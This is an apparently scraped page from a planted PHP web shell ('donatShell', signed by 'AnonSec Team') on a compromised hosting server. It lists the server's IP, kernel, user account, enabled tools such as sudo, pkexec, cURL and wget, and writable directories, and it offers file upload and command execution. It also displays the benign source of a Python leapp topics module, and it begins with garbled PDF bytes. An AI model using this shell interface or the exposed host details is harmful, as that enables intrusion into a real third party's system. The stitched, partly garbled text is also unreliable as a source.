%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/leapp/topics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python2.7/site-packages/leapp/topics/__init__.py
import sys

from leapp.exceptions import InvalidTopicDefinitionError
from leapp.utils.meta import get_flattened_subclasses, with_metaclass


class TopicMeta(type):
    """
    Meta class for the registration of topics
    """

    def __new__(mcs, name, bases, attrs):
        klass = super(TopicMeta, mcs).__new__(mcs, name, bases, attrs)
        setattr(sys.modules[mcs.__module__], name, klass)
        setattr(klass, 'messages', ())
        return klass


class Topic(with_metaclass(TopicMeta)):
    """ Base class for all :ref:`topics <terminology:topic>`"""

    name = None
    """ Name of the topic in snake case """

    messages = ()
    """
    Tuple of :py:class:`leapp.models.Model` derived classes that are using this topic are automatically added to this
    variable.
    """

    @classmethod
    def serialize(cls):
        return {
            'class_name': cls.__name__,
            'name': cls.name,
            'messages': [m.__name__ for m in cls.messages]
        }


class DialogTopic(Topic):
    """
    A special topic for dialogs shown to user during workflow execution.
    """
    name = 'dialog_topic'


class ErrorTopic(Topic):
    """
    A special topic for errors during the execution.
    """
    name = 'errors'


class ReportTopic(Topic):
    """
    A special topic for reporting purposes.
    """
    name = 'report_topic'


def get_topics():
    """
    :return: All registered :py:class:`leapp.topics.Topic` derived classes
    """
    topics = get_flattened_subclasses(Topic)
    for topic in (topic for topic in topics):
        topic_name = getattr(topic, 'name', None)
        if not topic_name:
            raise InvalidTopicDefinitionError('Topic {} does not contain a name attribute'.format(topic))
    return topics

Anon7 - 2022
AnonSec Team